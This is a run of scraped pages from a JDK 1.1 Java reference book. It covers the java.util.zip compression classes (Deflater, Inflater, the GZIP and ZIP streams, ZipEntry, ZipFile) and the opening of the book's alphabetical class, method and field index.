public class Deflater extends Object {
    // Public Constructors
            public Deflater(int level, boolean nowrap);
            public Deflater(int level);
            public Deflater();
    // Constants
            public static final int BEST_COMPRESSION;
            public static final int BEST_SPEED;
            public static final int DEFAULT_COMPRESSION;
            public static final int DEFAULT_STRATEGY;
            public static final int DEFLATED;
            public static final int FILTERED;
            public static final int HUFFMAN_ONLY;
            public static final int NO_COMPRESSION;
    // Public Instance Methods
            public synchronized native int deflate(byte[] b, int off, int len);
            public int deflate(byte[] b);
            public synchronized native void end();
            public synchronized void finish();
            public synchronized boolean finished();
            public synchronized native int getAdler();
            public synchronized native int getTotalIn();
            public synchronized native int getTotalOut();
            public boolean needsInput();
            public synchronized native void reset();
            public synchronized native void setDictionary(byte[] b, int off, int len);
            public void setDictionary(byte[] b);
            public synchronized void setInput(byte[] b, int off, int len);
            public void setInput(byte[] b);
            public synchronized void setLevel(int Level);
            public synchronized void setStrategy(int strategy);
    // Protected Instance Methods
            protected void finalize();  // Overrides Object
}

Passed To:

DeflaterOutputStream()

Type Of:

DeflaterOutputStream.def

Previous | Home | Next
java.util.zip.DataFormatException (JDK 1.1) | Book Index | java.util.zip.DeflaterOutputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.8 java.util.zip.DeflaterOutputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.8 java.util.zip.DeflaterOutputStream (JDK 1.1)

This class is a subclass of java.io.FilterOutputStream; it "filters" a stream of data by compressing ("deflating") it and then writes the compressed data to another output stream. To create a DeflaterOutputStream, you must specify the stream that it is to write to, and also a Deflater object that is to perform the compression. You can set various options on the Deflater object to specify just what type of compression is to be performed. Once a DeflaterOutputStream is created, its write() and close() methods are the same as those of other output streams.

The InflaterInputStream class can be used to read data written with the DeflaterOutputStream.

Note that a DeflaterOutputStream writes raw compressed data; applications often prefer one of its subclasses, GZIPOutputStream or ZipOutputStream, which wraps the raw compressed data within a standard file format.

public class DeflaterOutputStream extends FilterOutputStream {
    // Public Constructors
            public DeflaterOutputStream(OutputStream out, Deflater def, int size);
            public DeflaterOutputStream(OutputStream out, Deflater def);
            public DeflaterOutputStream(OutputStream out);
    // Protected Instance Variables
            protected byte[] buf;
            protected Deflater def;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides FilterOutputStream
            public void finish() throws IOException;
            public void write(int b) throws IOException;  // Overrides FilterOutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides FilterOutputStream
    // Protected Instance Methods
            protected void deflate() throws IOException;
}

Hierarchy:

Object->OutputStream->FilterOutputStream->DeflaterOutputStream

Extended By:

GZIPOutputStream, ZipOutputStream

Previous | Home | Next
java.util.zip.Deflater (JDK 1.1) | Book Index | java.util.zip.GZIPInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.9 java.util.zip.GZIPInputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.9 java.util.zip.GZIPInputStream (JDK 1.1)

This class is a subclass of InflaterInputStream that reads and uncompresses data compressed in gzip format. To create a GZIPInputStream, you must simply specify the InputStream it is to read compressed data from, and optionally specify a buffer size for the internal decompression buffer. Once a GZIPInputStream is created, you can use the read() and close() methods as you would with any input stream.

public class GZIPInputStream extends InflaterInputStream {
    // Public Constructors
            public GZIPInputStream(InputStream in, int size) throws IOException;
            public GZIPInputStream(InputStream in) throws IOException;
    // Constants
            public static final int GZIP_MAGIC;
    // Protected Instance Variables
            protected CRC32 crc;
            protected boolean eos;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides FilterInputStream
            public int read(byte[] buf, int off, int len) throws IOException;  // Overrides InflaterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->InflaterInputStream->GZIPInputStream

Previous | Home | Next
java.util.zip.DeflaterOutputStream (JDK 1.1) | Book Index | java.util.zip.GZIPOutputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.10 java.util.zip.GZIPOutputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.10 java.util.zip.GZIPOutputStream (JDK 1.1)

This class is a subclass of DeflaterOutputStream that compresses and writes data using the gzip file format. To create a GZIPOutputStream, you must specify the OutputStream that it is to write to, and may optionally specify a size for the internal compression buffer. Once the GZIPOutputStream is created, you can use the write() and close() methods as you would any other output stream.

public class GZIPOutputStream extends DeflaterOutputStream {
    // Public Constructors
            public GZIPOutputStream(OutputStream out, int size) throws IOException;
            public GZIPOutputStream(OutputStream out) throws IOException;
    // Protected Instance Variables
            protected CRC32 crc;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides DeflaterOutputStream
            public void finish() throws IOException;  // Overrides DeflaterOutputStream
            public synchronized void write(byte[] buf, int off, int len) throws IOException;  // Overrides DeflaterOutputStream
}

Hierarchy:

Object->OutputStream->FilterOutputStream->DeflaterOutputStream->GZIPOutputStream

Previous | Home | Next
java.util.zip.GZIPInputStream (JDK 1.1) | Book Index | java.util.zip.Inflater (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.11 java.util.zip.Inflater (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.11 java.util.zip.Inflater (JDK 1.1)

This class implements the general ZLIB data decompression algorithm used by gzip, PKZip, and other data compression applications. It decompresses or "inflates" data compressed through the Deflater class.

The important methods of this class are setInput(), which specifies input data to be decompressed, and inflate(), which decompresses the input data into an output buffer. A number of other methods exist so that this class can be used for stream-based decompression, as it is in the higher-level classes such as GZIPInputStream and ZipInputStream. These stream-based classes are sufficient in most cases. Most applications do not need to use Inflater directly.

public class Inflater extends Object {
    // Public Constructors
            public Inflater(boolean nowrap);
            public Inflater();
    // Public Instance Methods
            public synchronized native void end();
            public synchronized boolean finished();
            public synchronized native int getAdler();
            public synchronized int getRemaining();
            public synchronized native int getTotalIn();
            public synchronized native int getTotalOut();
            public synchronized native int inflate(byte[] b, int off, int len) throws DataFormatException;
            public int inflate(byte[] b) throws DataFormatException;
            public synchronized boolean needsDictionary();
            public synchronized boolean needsInput();
            public synchronized native void reset();
            public synchronized native void setDictionary(byte[] b, int off, int len);
            public void setDictionary(byte[] b);
            public synchronized void setInput(byte[] b, int off, int len);
            public void setInput(byte[] b);
    // Protected Instance Methods
            protected void finalize();  // Overrides Object
}

Passed To:

InflaterInputStream()

Type Of:

InflaterInputStream.inf

Previous | Home | Next
java.util.zip.GZIPOutputStream (JDK 1.1) | Book Index | java.util.zip.InflaterInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.12 java.util.zip.InflaterInputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.12 java.util.zip.InflaterInputStream (JDK 1.1)

This class is a subclass of java.io.FilterInputStream; it reads a specified stream of compressed input data (typically one that was written with DeflaterOutputStream or a subclass) and "filters" that data by uncompressing ("inflating") it. To create an InflaterInputStream, you must specify the input stream it is to read from, and also an Inflater object that is to perform the uncompresssion. Once an InflaterInputStream is created, the read() and skip() methods are the same as those of other input streams.

Note that the InflaterInputStream uncompresses raw data. Applications often prefer one of its subclasses, GZIPInputStream or ZipInputStream, which work with compressed data written in the standard gzip and PKZip file formats.

public class InflaterInputStream extends FilterInputStream {
    // Public Constructors
            public InflaterInputStream(InputStream in, Inflater inf, int size);
            public InflaterInputStream(InputStream in, Inflater inf);
            public InflaterInputStream(InputStream in);
    // Protected Instance Variables
            protected byte[] buf;
            protected Inflater inf;
            protected int len;
    // Public Instance Methods
            public int read() throws IOException;  // Overrides FilterInputStream
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public long skip(long n) throws IOException;  // Overrides FilterInputStream
    // Protected Instance Methods
            protected void fill() throws IOException;
}

Hierarchy:

Object->InputStream->FilterInputStream->InflaterInputStream

Extended By:

GZIPInputStream, ZipInputStream

Previous | Home | Next
java.util.zip.Inflater (JDK 1.1) | Book Index | java.util.zip.ZipEntry (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.13 java.util.zip.ZipEntry (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.13 java.util.zip.ZipEntry (JDK 1.1)

This class describes a single entry (typically a compressed file) stored within a ZIP file. The various methods get and set various pieces of information about the entry. The ZipEntry class is used by the ZipFile and ZipInputStream, which read ZIP files, and by the ZipOutputStream, which writes ZIP files.

When reading a ZIP file, the ZipEntry objects returned by the ZipFile or ZipInputStream contain the name, size, modification time, and other information about each entry in the file. When writing a ZIP file, on the other hand, you must create your own ZipEntry objects, and initialize them to contain the entry name and other appropriate information before writing the contents of the entry.

public class ZipEntry extends Object {
    // Public Constructor
            public ZipEntry(String name);
    // Constants
            public static final int DEFLATED;
            public static final int STORED;
    // Public Instance Methods
            public String getComment();
            public long getCompressedSize();
            public long getCrc();
            public byte[] getExtra();
            public int getMethod();
            public String getName();
            public long getSize();
            public long getTime();
            public boolean isDirectory();
            public void setComment(String comment);
            public void setCrc(long crc);
            public void setExtra(byte[] extra);
            public void setMethod(int method);
            public void setSize(long size);
            public void setTime(long time);
            public String toString();  // Overrides Object
}

Passed To:

ZipFile.getInputStream(), ZipOutputStream.putNextEntry()

Returned By:

ZipFile.getEntry(), ZipInputStream.getNextEntry()

Previous | Home | Next
java.util.zip.InflaterInputStream (JDK 1.1) | Book Index | java.util.zip.ZipException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.14 java.util.zip.ZipException (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.14 java.util.zip.ZipException (JDK 1.1)

Signals that an error has occurred in reading or writing a ZIP file.

public class ZipException extends IOException {
    // Public Constructors
            public ZipException();
            public ZipException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ZipException

Thrown By:

ZipFile()

Previous | Home | Next
java.util.zip.ZipEntry (JDK 1.1) | Book Index | java.util.zip.ZipFile (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.15 java.util.zip.ZipFile (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.15 java.util.zip.ZipFile (JDK 1.1)

This class reads the contents of ZIP files. It uses a random access file internally so that the entries of the ZIP file do not have to be read sequentially as they do with the ZipInputStream class.

A ZipFile object can be created by specifying the ZIP file to be read either as a String filename or as a File object. Once created, the getEntry() method returns a ZipEntry object for a named entry, and the entries() method returns an Enumeration object that allows you to loop through all the ZipEntry objects for the file. To read the contents of a specific ZipEntry within the ZIP file, pass the ZipEntry to getInputStream()--this returns an InputStream object from which you can read the entry's contents.

public class ZipFile extends Object {
    // Public Constructors
            public ZipFile(String name) throws IOException;
            public ZipFile(File file) throws ZipException, IOException;
    // Public Instance Methods
            public void close() throws IOException;
            public Enumeration entries();
            public ZipEntry getEntry(String name);
            public InputStream getInputStream(ZipEntry ze) throws IOException;
            public String getName();
}

Previous | Home | Next
java.util.zip.ZipException (JDK 1.1) | Book Index | java.util.zip.ZipInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.16 java.util.zip.ZipInputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.16 java.util.zip.ZipInputStream (JDK 1.1)

This class is a subclass of InflaterInputStream that reads the entries of a ZIP file in sequential order. A ZipInputStream is created by specifying the InputStream from which it is to read the contents of the ZIP file. Once the ZipInputStream is created, the getNextEntry() method is used to begin reading of data from the next entry in the ZIP file. This method must be called before read() is called to begin reading of the first entry. Note that getNextEntry() returns a ZipEntry object that describes the entry being read. Also note that getNextEntry() returns null when there are no more entries to be read from the ZIP file.

The read() methods of ZipInputStream read until the end of the current entry and then return -1 indicating that there are no more data to read. To continue with the next entry in the ZIP file, you must call getNextEntry() again. Similarly, the skip() method only skips bytes within the current entry. closeEntry() can be called to skip the remaining data in the current entry, but it is usually easier simply to call getNextEntry() to begin the next entry.

public class ZipInputStream extends InflaterInputStream {
    // Public Constructor
            public ZipInputStream(InputStream in);
    // Public Instance Methods
            public void close() throws IOException;  // Overrides FilterInputStream
            public void closeEntry() throws IOException;
            public ZipEntry getNextEntry() throws IOException;
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides InflaterInputStream
            public long skip(long n) throws IOException;  // Overrides InflaterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->InflaterInputStream->ZipInputStream

Previous | Home | Next
java.util.zip.ZipFile (JDK 1.1) | Book Index | java.util.zip.ZipOutputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] 31.17 java.util.zip.ZipOutputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 31
The java.util.zip Package 		Next

31.17 java.util.zip.ZipOutputStream (JDK 1.1)

This class is a subclass of DeflaterOutputStream that writes data in ZIP file format to an output stream. Before writing any data to the ZipOutputStream, you must begin an entry within the ZIP file with putNextEntry(). The ZipEntry object passed to this method should specify at least a name for the entry. Once you have begun an entry with putNextEntry(), you can write the contents of that entry with the write() methods. When you reach the end of an entry, you can begin a new one by calling putNextEntry() again, or you can close the current entry with closeEntry(), or you can close the stream itself with close().

Before beginning an entry with putNextEntry(), you can set the compression method and level with setMethod() and setLevel(). The constants DEFLATED and STORED are the two legal values for setMethod(). If you use STORED, the entry is stored in the ZIP file without any compression. If you use DEFLATED, you can also specify the compression speed/strength trade-off by passing a number from 1 to 9 to setLevel(), where 9 gives the strongest and slowest level of compression. You can also use the constants Deflater.BEST_SPEED, Deflater.BEST_COMPRESSION, and Deflater.DEFAULT_COMPRESSION with the setLevel() method.

Note that if you are simply storing an entry without compression, the ZIP file format requires that you specify, in advance, the entry size and CRC-32 checksum in the ZipEntry object for the entry. An exception is thrown if these values are not specified or are incorrectly specified.

public class ZipOutputStream extends DeflaterOutputStream {
    // Public Constructor
            public ZipOutputStream(OutputStream out);
    // Constants
            public static final int DEFLATED;
            public static final int STORED;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides DeflaterOutputStream
            public void closeEntry() throws IOException;
            public void finish() throws IOException;  // Overrides DeflaterOutputStream
            public void putNextEntry(ZipEntry e) throws IOException;
            public void setComment(String comment);
            public void setLevel(int level);
            public void setMethod(int method);
            public synchronized void write(byte[] b, int off, int len) throws IOException;  // Overrides DeflaterOutputStream
}

Hierarchy:

Object->OutputStream->FilterOutputStream->DeflaterOutputStream->ZipOutputStream

Previous | Home | Next
java.util.zip.ZipInputStream (JDK 1.1) | Book Index | Class, Method, and Field Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 31] The java.util.zip Package

Java in a Nutshell

Previous Chapter 31 Next

31. The java.util.zip Package

Contents:

Select a new section and then

The java.util.zip package contains classes for data compression and decompression. It is new in Java 1.1. Figure 31.1 shows the class hierarchy of the package.

The Deflater and Inflater classes perform data compression and decompression. DeflaterOutputStream and InflaterInputStream apply that functionality to byte streams; the subclasses of these streams implement both the GZIP and ZIP compression formats. The Adler32 and CRC32 classes implement the Checksum interface and compute the checksums required for data compression.

Figure 31.1: The java.util.zip package

[Graphic: Figure 31-1]

31.1 java.util.zip.Adler32 (JDK 1.1)

This class implements the Checksum interface and computes a checksum on a stream of data using the Adler-32 algorithm. This algorithm is significantly faster than the CRC-32 algorithm and is almost as reliable.

The CheckedInputStream and CheckedOutputStream classes provide a higher-level interface to computing checksums on streams of data.

public class Adler32 extends Object implements Checksum {
    // Default Constructor: public Adler32()
    // Public Instance Methods
            public long getValue();  // From Checksum
            public void reset();  // From Checksum
            public void update(int b);  // From Checksum
            public native void update(byte[] b, int off, int len);  // From Checksum
            public void update(byte[] b);
}

Previous | Home | Next
java.util.Vector (JDK 1.0) | Book Index | java.util.zip.CheckedInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 32] Class, Method, and Field Index

Java in a Nutshell

Previous Chapter 32

32. Class, Method, and Field Index

The following index allows you to look up a class or interface and find out what package it is defined in. It also allows you to look up a method or field and find out what class it is defined in. Use it when you want to look up a class but don't know its package, or want to look up a method but don't know its class.

A

a

java.awt.AWTEventMulticaster (JDK 1.1)

ABORT

java.awt.image.ImageObserver (JDK 1.0)

ABORTED

java.awt.MediaTracker (JDK 1.0)

abortGrabbing()

java.awt.image.PixelGrabber (JDK 1.0)

abs()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Math (JDK 1.0)

ABSTRACT

java.lang.reflect.Modifier (JDK 1.1)

AbstractMethodError

The java.lang Package

accept()

java.io.FilenameFilter (JDK 1.0), java.net.ServerSocket (JDK 1.0), java.net.SocketImpl (JDK 1.0)

acos()

java.lang.Math (JDK 1.0)

action()

java.awt.Component (JDK 1.0)

ACTION_EVENT

java.awt.Event (JDK 1.0)

ACTION_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

ACTION_FIRST

java.awt.event.ActionEvent (JDK 1.1)

ACTION_LAST

java.awt.event.ActionEvent (JDK 1.1)

ACTION_PERFORMED

java.awt.event.ActionEvent (JDK 1.1)

ActionEvent

The java.awt.event Package

ActionListener

The java.awt.event Package

actionPerformed()

java.awt.event.ActionListener (JDK 1.1), java.awt.AWTEventMulticaster (JDK 1.1)

ACTIVE_CAPTION

java.awt.SystemColor (JDK 1.1)

ACTIVE_CAPTION_BORDER

java.awt.SystemColor (JDK 1.1)

ACTIVE_CAPTION_TEXT

java.awt.SystemColor (JDK 1.1)

activeCaption

java.awt.SystemColor (JDK 1.1)

activeCaptionBorder

java.awt.SystemColor (JDK 1.1)

activeCaptionText

java.awt.SystemColor (JDK 1.1)

activeCount()

java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

activeGroupCount()

java.lang.ThreadGroup (JDK 1.0)

AD

java.util.GregorianCalendar (JDK 1.1)

add()

java.awt.AWTEventMulticaster (JDK 1.1), java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.util.Calendar (JDK 1.1), java.awt.Choice (JDK 1.0), java.awt.peer.ChoicePeer (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.util.GregorianCalendar (JDK 1.1), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.Menu (JDK 1.0), java.awt.MenuBar (JDK 1.0), java.awt.Rectangle (JDK 1.0)

addActionListener()

java.awt.Button (JDK 1.0), java.awt.List (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.TextField (JDK 1.0)

addAdjustmentListener()

java.awt.Adjustable (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

addComponentListener()

java.awt.Component (JDK 1.0)

addConsumer()

java.awt.image.FilteredImageSource (JDK 1.0), java.awt.image.ImageProducer (JDK 1.0), java.awt.image.MemoryImageSource (JDK 1.0)

addContainerListener()

java.awt.Container (JDK 1.0)

addElement()

java.util.Vector (JDK 1.0)

addFocusListener()

java.awt.Component (JDK 1.0)

addHelpMenu()

java.awt.peer.MenuBarPeer (JDK 1.0)

addImage()

java.awt.MediaTracker (JDK 1.0)

addImpl()

java.awt.Container (JDK 1.0), java.awt.ScrollPane (JDK 1.1)

addInternal()

java.awt.AWTEventMulticaster (JDK 1.1)

addItem()

java.awt.Choice (JDK 1.0), java.awt.peer.ChoicePeer (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.peer.MenuPeer (JDK 1.0)

addItemListener()

java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.ItemSelectable (JDK 1.1), java.awt.List (JDK 1.0)

addKeyListener()

java.awt.Component (JDK 1.0)

addLayoutComponent()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0), java.awt.LayoutManager (JDK 1.0), java.awt.LayoutManager2 (JDK 1.1)

addMenu()

java.awt.peer.MenuBarPeer (JDK 1.0)

addMouseListener()

java.awt.Component (JDK 1.0)

addMouseMotionListener()

java.awt.Component (JDK 1.0)

addNotify()

java.awt.Button (JDK 1.0), java.awt.Canvas (JDK 1.0), java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.Dialog (JDK 1.0), java.awt.FileDialog (JDK 1.0), java.awt.Frame (JDK 1.0), java.awt.Label (JDK 1.0), java.awt.List (JDK 1.0), java.awt.Menu (JDK 1.0), java.awt.MenuBar (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.Panel (JDK 1.0), java.awt.PopupMenu (JDK 1.1), java.awt.Scrollbar (JDK 1.0), java.awt.ScrollPane (JDK 1.1), java.awt.TextArea (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.Window (JDK 1.0)

addObserver()

java.util.Observable (JDK 1.0)

addPoint()

java.awt.Polygon (JDK 1.0)

addPropertyChangeListener()

java.beans.Customizer (JDK 1.1), java.beans.PropertyChangeSupport (JDK 1.1), java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

address

java.net.SocketImpl (JDK 1.0)

addSeparator()

java.awt.Menu (JDK 1.0), java.awt.peer.MenuPeer (JDK 1.0)

addTextListener()

java.awt.TextComponent (JDK 1.0)

addVetoableChangeListener()

java.beans.VetoableChangeSupport (JDK 1.1)

addWindowListener()

java.awt.Window (JDK 1.0)

Adjustable

The java.awt Package

AdjustForGravity()

java.awt.GridBagLayout (JDK 1.0)

ADJUSTMENT_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

ADJUSTMENT_FIRST

java.awt.event.AdjustmentEvent (JDK 1.1)

ADJUSTMENT_LAST

java.awt.event.AdjustmentEvent (JDK 1.1)

ADJUSTMENT_VALUE_CHANGED

java.awt.event.AdjustmentEvent (JDK 1.1)

AdjustmentEvent

The java.awt.event Package

AdjustmentListener

The java.awt.event Package

adjustmentValueChanged()

java.awt.event.AdjustmentListener (JDK 1.1), java.awt.AWTEventMulticaster (JDK 1.1)

Adler32

The java.util.zip Package

after()

java.util.Calendar (JDK 1.1), java.util.Date (JDK 1.0), java.util.GregorianCalendar (JDK 1.1)

ALLBITS

java.awt.image.ImageObserver (JDK 1.0)

allowsMultipleSelections()

java.awt.List (JDK 1.0)

allowThreadSuspension()

java.lang.ThreadGroup (JDK 1.0)

allowUserInteraction

java.net.URLConnection (JDK 1.0)

ALT_MASK

java.awt.event.ActionEvent (JDK 1.1), java.awt.Event (JDK 1.0), java.awt.event.InputEvent (JDK 1.1)

AM

java.util.Calendar (JDK 1.1)

AM_PM

java.util.Calendar (JDK 1.1)

AM_PM_FIELD

java.text.DateFormat (JDK 1.1)

anchor

java.awt.GridBagConstraints (JDK 1.0)

and()

java.math.BigInteger (JDK 1.1), java.util.BitSet (JDK 1.0)

andNot()

java.math.BigInteger (JDK 1.1)

annotateClass()

java.io.ObjectOutputStream (JDK 1.1)

append()

java.lang.StringBuffer (JDK 1.0), java.awt.TextArea (JDK 1.0)

appendText()

java.awt.TextArea (JDK 1.0)

Applet

The java.applet Package

AppletContext

The java.applet Package

appletResize()

java.applet.AppletStub (JDK 1.0)

AppletStub

The java.applet Package

applyLocalizedPattern()

java.text.DecimalFormat (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1)

applyPattern()

java.text.ChoiceFormat (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1)

APRIL

java.util.Calendar (JDK 1.1)

AreaAveragingScaleFilter

The java.awt.image Package

areFieldsSet

java.util.Calendar (JDK 1.1)

arg

java.awt.Event (JDK 1.0)

ArithmeticException

The java.lang Package

ArrangeGrid()

java.awt.GridBagLayout (JDK 1.0)

Array

The java.lang.reflect Package

arraycopy()

java.lang.System (JDK 1.0)

ArrayIndexOutOfBoundsException

The java.lang Package

ArrayStoreException

The java.lang Package

asin()

java.lang.Math (JDK 1.0)

atan()

java.lang.Math (JDK 1.0)

atan2()

java.lang.Math (JDK 1.0)

attributeNames()

java.beans.FeatureDescriptor (JDK 1.1)

AudioClip

The java.applet Package

AUGUST

java.util.Calendar (JDK 1.1)

available()

java.io.BufferedInputStream (JDK 1.0), java.io.ByteArrayInputStream (JDK 1.0), java.io.FileInputStream (JDK 1.0), java.io.FilterInputStream (JDK 1.0), java.io.InputStream (JDK 1.0), java.io.LineNumberInputStream (JDK 1.0; Deprecated.), java.io.ObjectInput (JDK 1.1), java.io.ObjectInputStream (JDK 1.1), java.io.PipedInputStream (JDK 1.0), java.io.PushbackInputStream (JDK 1.0), java.io.SequenceInputStream (JDK 1.0), java.net.SocketImpl (JDK 1.0), java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

avoidingGui()

java.beans.Visibility (JDK 1.1)

AWTError

The java.awt Package

AWTEvent

The java.awt Package

AWTEventMulticaster

The java.awt Package

AWTException

The java.awt Package

B

b

java.awt.AWTEventMulticaster (JDK 1.1)

BACK_SPACE

java.awt.Event (JDK 1.0)

BC

java.util.GregorianCalendar (JDK 1.1)

BeanDescriptor

The java.beans Package

BeanInfo

The java.beans Package

Beans

The java.beans Package

beep()

java.awt.Toolkit (JDK 1.0)

before()

java.util.Calendar (JDK 1.1), java.util.Date (JDK 1.0), java.util.GregorianCalendar (JDK 1.1)

beginValidate()

java.awt.peer.ContainerPeer (JDK 1.0)

BEST_COMPRESSION

java.util.zip.Deflater (JDK 1.1)

BEST_SPEED

java.util.zip.Deflater (JDK 1.1)

BigDecimal

The java.math Package

BigInteger

The java.math Package

bind()

java.net.DatagramSocketImpl (JDK 1.1), java.net.SocketImpl (JDK 1.0)

BindException

The java.net Package

bitCount()

java.math.BigInteger (JDK 1.1)

bitLength()

java.math.BigInteger (JDK 1.1)

BitSet

The java.util Package

black

java.awt.Color (JDK 1.0)

BLOCK_DECREMENT

java.awt.event.AdjustmentEvent (JDK 1.1)

BLOCK_INCREMENT

java.awt.event.AdjustmentEvent (JDK 1.1)

blue

java.awt.Color (JDK 1.0)

BOLD

java.awt.Font (JDK 1.0)

Boolean

The java.lang Package

booleanValue()

java.lang.Boolean (JDK 1.0)

BorderLayout

The java.awt Package

BOTH

java.awt.GridBagConstraints (JDK 1.0)

bottom

java.awt.Insets (JDK 1.0)

BOTTOM_ALIGNMENT

java.awt.Component (JDK 1.0)

bounds

java.awt.Polygon (JDK 1.0)

bounds()

java.awt.Component (JDK 1.0)

BreakIterator

The java.text Package

brighter()

java.awt.Color (JDK 1.0)

buf

java.io.BufferedInputStream (JDK 1.0), java.io.BufferedOutputStream (JDK 1.0), java.io.ByteArrayInputStream (JDK 1.0), java.io.ByteArrayOutputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.io.CharArrayWriter (JDK 1.1), java.util.zip.DeflaterOutputStream (JDK 1.1), java.util.zip.InflaterInputStream (JDK 1.1), java.io.PushbackInputStream (JDK 1.0)

buffer

java.io.PipedInputStream (JDK 1.0), java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

BufferedInputStream

The java.io Package

BufferedOutputStream

The java.io Package

BufferedReader

The java.io Package

BufferedWriter

The java.io Package

Button

The java.awt Package

BUTTON1_MASK

java.awt.event.InputEvent (JDK 1.1)

BUTTON2_MASK

java.awt.event.InputEvent (JDK 1.1)

BUTTON3_MASK

java.awt.event.InputEvent (JDK 1.1)

ButtonPeer

The java.awt.peer Package

Byte

The java.lang Package

ByteArrayInputStream

The java.io Package

ByteArrayOutputStream

The java.io Package

bytesTransferred

java.io.InterruptedIOException (JDK 1.0)

bytesWidth()

java.awt.FontMetrics (JDK 1.0)

byteValue()

java.lang.Byte (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Number (JDK 1.0), java.lang.Short (JDK 1.1)

C

Calendar

The java.util Package

calendar

java.text.DateFormat (JDK 1.1)

CANADA

java.util.Locale (JDK 1.1)

CANADA_FRENCH

java.util.Locale (JDK 1.1)

canFilterIndexColorModel

java.awt.image.RGBImageFilter (JDK 1.0)

CANONICAL_DECOMPOSITION

java.text.Collator (JDK 1.1)

canRead()

java.io.File (JDK 1.0)

Canvas

The java.awt Package

CanvasPeer

The java.awt.peer Package

canWrite()

java.io.File (JDK 1.0)

capacity()

java.lang.StringBuffer (JDK 1.0), java.util.Vector (JDK 1.0)

capacityIncrement

java.util.Vector (JDK 1.0)

CAPS_LOCK

java.awt.Event (JDK 1.0)

CardLayout

The java.awt Package

ceil()

java.lang.Math (JDK 1.0)

CENTER

java.awt.BorderLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridBagConstraints (JDK 1.0), java.awt.Label (JDK 1.0)

CENTER_ALIGNMENT

java.awt.Component (JDK 1.0)

CHAR_UNDEFINED

java.awt.event.KeyEvent (JDK 1.1)

Character

The java.lang Package

CharacterIterator

The java.text Package

CharArrayReader

The java.io Package

CharArrayWriter

The java.io Package

charAt()

java.lang.String (JDK 1.0), java.lang.StringBuffer (JDK 1.0)

CharConversionException

The java.io Package

